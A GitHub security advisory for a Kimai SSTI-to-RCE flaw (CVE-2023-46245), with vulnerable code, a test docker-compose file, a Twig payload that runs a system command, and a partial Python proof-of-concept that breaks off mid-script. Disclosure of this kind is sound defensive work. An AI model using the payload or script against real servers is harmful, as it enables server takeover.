GitHub Advisoryadvisory · Packagist
GHSA-fjhg-96cp-6fcw Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
HIGH
Official page ↗
- Aliases
- CVE-2023-46245
- Ecosystem
- Packagist
- Packages
- kimai/kimai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-1336
- Reviewed
- 2023-10-30
Affected packages
• Packagist kimai/kimai: < 2.1.0 → fixed in 2.1.0
Description
Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
```php
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
```
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
```yaml
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
• MYSQL_ROOT_HOST='%'
• MYSQL_DATABASE=kimai
• MYSQL_USER=kimaiuser
• MYSQL_PASSWORD=kimaipassword
• MYSQL_ROOT_PASSWORD=changemeplease
ports:
• 3336:3306
volumes:
• mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
• 8001:80
volumes:
• public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
• kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
• [email protected]
• ADMINPASS=changemeplease
• DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
• TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
• memory_limit=1024
volumes:
• public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
• 8081:80
environment:
• PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
```
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}```
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing:
# Proof of Concept
```python
import requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r']*?name=["\'].*?token[^"\']*["\'][^>]*?value="\'["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r']*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r']*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_…
Related
Alias · CVE (1)
- CVE-2023-46245 Kimai is a web-based multi-user time-tracking application. vulnerability
Weakness · CWE (1)
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness